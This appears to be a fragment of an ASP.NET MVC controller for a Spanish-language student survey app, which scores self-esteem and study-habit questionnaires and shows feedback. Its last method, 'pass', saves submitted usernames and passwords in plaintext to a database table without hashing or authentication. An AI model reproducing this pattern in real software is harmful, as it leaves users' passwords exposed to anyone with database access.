public JsonResult avisoPrivacidad(bool a)
 {
     int alumnoID = (int)Session["userID"];
     Base db = new Base();
     var x = from al in db.Alumnos where al.AlumnoId == alumnoID select al;
     if (a)
         x.Single().AceptarEncuesta = 1;
     else
         x.Single().AceptarEncuesta = 2;
     int aux = x.Single().AceptarEncuesta;
     Session["aviso"] = aux;
     db.SaveChanges();
     return Json("guardado");
 }
        // GET: Reportes
        public ActionResult autoestima()
        {
            List<Respuesta> respuestas = getRepuestas("Autoestima");
            if (respuestas.Count() < 20)
            {
                ViewBag.mensaje = "Encuesta inconclusa";
                return View();
            }
            Base db = new Base();
            int userID = (int)Session["userID"];
            var resultado = from reporte in db.ResultadosEncAutoestima where reporte.AlumnoID == userID select reporte;
            int general = 0;
            int catGeneral = 0;
            int catEscolar = 0;
            int catFamilia = 0;
            if (resultado.Count() == 0)
            {
                foreach (var r in respuestas)
                {
                    var cat = from a in db.Preguntas where r.PreguntaId == a.PreguntaId select a;
                    int? aux = cat.First().ClasificacionId;
                    switch (aux)
                    {
                        case 7:
                            catGeneral += r.valor;
                            break;
                        case 8:
                            catEscolar += r.valor;
                            break;
                        case 9:
                            catFamilia += r.valor;
                            break;
                    }
                }
                general = catEscolar + catFamilia + catGeneral;
                ResultadoEncAutoestima rEnc = new ResultadoEncAutoestima();
                rEnc.AlumnoID = userID;
                rEnc.Resultado = general;
                rEnc.ResultadoClEscolar = catEscolar;
                rEnc.ResultadoClFamilia = catFamilia;
                rEnc.ResultadoClGeneral = catGeneral;
                db.ResultadosEncAutoestima.Add(rEnc);
                db.SaveChanges();
            }
            else
            {
                general = resultado.Single().Resultado;
                catGeneral = resultado.Single().ResultadoClGeneral;
                catFamilia = resultado.Single().ResultadoClFamilia;
                catEscolar = resultado.Single().ResultadoClEscolar;
            }
            if (general > 53)
                ViewBag.mensaje = "Autoestima alta";
            else if(general > 26)
                ViewBag.mensaje = "Autoestima media";
            else
                ViewBag.mensaje = "Autoestima baja";
            ViewBag.general = general;

            if (catGeneral > 19)
                ViewBag.mensajeCatG = "Autoestima alta";
            else if(catGeneral > 10)
                ViewBag.mensajeCatG = "Autoestima media";
            else
                ViewBag.mensajeCatG = "Autoestima baja";
            ViewBag.catGeneral = catGeneral;

            if (catEscolar > 19)
                ViewBag.mensajeCatE = "Autoestima alta";
            else if (catEscolar > 10)
                ViewBag.mensajeCatE = "Autoestima media";
            else
                ViewBag.mensajeCatE = "Autoestima baja";
            ViewBag.catFamilia = catFamilia;

            if (catFamilia > 16)
                ViewBag.mensajeCatF = "Autoestima alta";
            else if(catFamilia>8)
                ViewBag.mensajeCatF = "Autoestima media";
            else
                ViewBag.mensajeCatF = "Autoestima baja";
            ViewBag.catEscolar = catEscolar;

            return View();
        }
        public ActionResult habEstudio()
        {
            List<Respuesta> respuestas = getRepuestas("Habitos de Estudio");
            if (respuestas.Count() < 30)
            {
                ViewBag.mensaje = "Encuesta inconclusa";
                return View();
            }
            Base db = new Base();
            int userID = (int)Session["userID"];
            var resultado = from reporte in db.ResultadosEncHabEstudio where reporte.AlumnoID == userID select reporte;
            int general = 0;
            int catConcentracion = 0;
            int catRelInterPer = 0;
            int catMemoria = 0;
            int catMotEst = 0;
            int catAdminTiempo = 0;
            int catPreEva = 0;
            if (resultado.Count() == 0)
            {

                foreach (var r in respuestas)
                {
                    var cat = from a in db.Preguntas where r.PreguntaId == a.PreguntaId select a;
                    int? aux = cat.First().ClasificacionId;
                    switch (aux)
                    {
                        case 1:
                            catConcentracion += r.valor;
                            break;
                        case 2:
                            catRelInterPer += r.valor;
                            break;
                        case 3:
                            catMemoria += r.valor;
                            break;
                        case 4:
                            catMotEst += r.valor;
                            break;
                        case 5:
                            catAdminTiempo += r.valor;
                            break;
                        case 6:
                            catPreEva += r.valor;
                            break;
                    }
                }
                general = catAdminTiempo + catConcentracion + catMemoria + catMotEst + catPreEva + catRelInterPer;
                ResultadoEncHabEstudio rHab = new ResultadoEncHabEstudio();
                rHab.AlumnoID = userID;
                rHab.Resultado = general;
                rHab.ResultadoClConcentracion = catConcentracion;
                rHab.ResultadoClRelInterpesonales = catRelInterPer;
                rHab.ResultadoClMemoria = catMemoria;
                rHab.ResultadoClMotivacionEst = catMotEst;
                rHab.ResultadoClAdminTiempo = catAdminTiempo;
                rHab.ResultadoClPresentacionEva = catPreEva;
                db.ResultadosEncHabEstudio.Add(rHab);
                db.SaveChanges();
            }
            else
            {
                general = resultado.Single().Resultado;
                catConcentracion = resultado.Single().ResultadoClConcentracion;
                catRelInterPer = resultado.Single().ResultadoClRelInterpesonales;
                catMemoria = resultado.Single().ResultadoClMemoria;
                catMotEst = resultado.Single().ResultadoClMotivacionEst;
                catAdminTiempo = resultado.Single().ResultadoClAdminTiempo;
                catPreEva = resultado.Single().ResultadoClPresentacionEva;
            }
            if (general > 72)
                ViewBag.mensaje = "alto";
            ViewBag.general = general;

            if (catConcentracion > 12)
                ViewBag.mensajeCatCon = "puedes enfrentar en forma exitosa problemas que generan tensión y angustia, logrando con ello concentración realmente efectiva frente a tus estudios. ";
            ViewBag.CatCon = catConcentracion;

            if (catRelInterPer > 12)
                ViewBag.mensajeCatRel = "te distingues por llevarte bien con la gente, estás en la mejor disposición para enfrentar cualquier reto y tratas a tus compañeros con respeto, los aceptas tal cual son y sabes defender tus derechos sin agresiones. ";
            ViewBag.catRel = catRelInterPer;

            if (catMemoria > 12)
                ViewBag.mensajeMem = "Te es fácil recordar la información y tienes una forma bien definida para darte cuenta cuando algo quedó aprendido, estás convendido/a de que el conocimiento previo es determinante para asimilar nueva información.";
            ViewBag.catMemoria = catMemoria;

            if (catMotEst > 12)
                ViewBag.mensajeCatMotEst = "aceptas la responsabilidad de los éxitos y fracasos, tomas decisiones y luchas para lograr mejorar, sabes identificar tus responsabilidades y libertades académicas universitarias.";
            ViewBag.catMotEst = catMotEst;

            if (catAdminTiempo > 12)
                ViewBag.mensajeCatAdmin = "sabes cuánto tiempo debes dedicarle a cada actividad y organizas muy bien tu día, cumples con tu programación y te caracteriza la autodisciplina.";
            ViewBag.catAdmin = catAdminTiempo;

            if (catPreEva > 12)
                ViewBag.mensajeCatEva = "consideras los exámenes como un periodo de razonamiento normal y te aseguras de entender las instrucciones.";
            ViewBag.catEva = catPreEva;

            return View();
        }
 public void pass(FormCollection form)
 {
     var userID = form["txtUser"];
     var pass = form["txtPass"];
     Base bd = new Base();
     Clave c = new Clave();
     c.login = userID;
     c.password = pass;
     bd.Claves.Add(c);
     bd.SaveChanges();
     Response.Redirect(Url.Action("index", "home"));
 }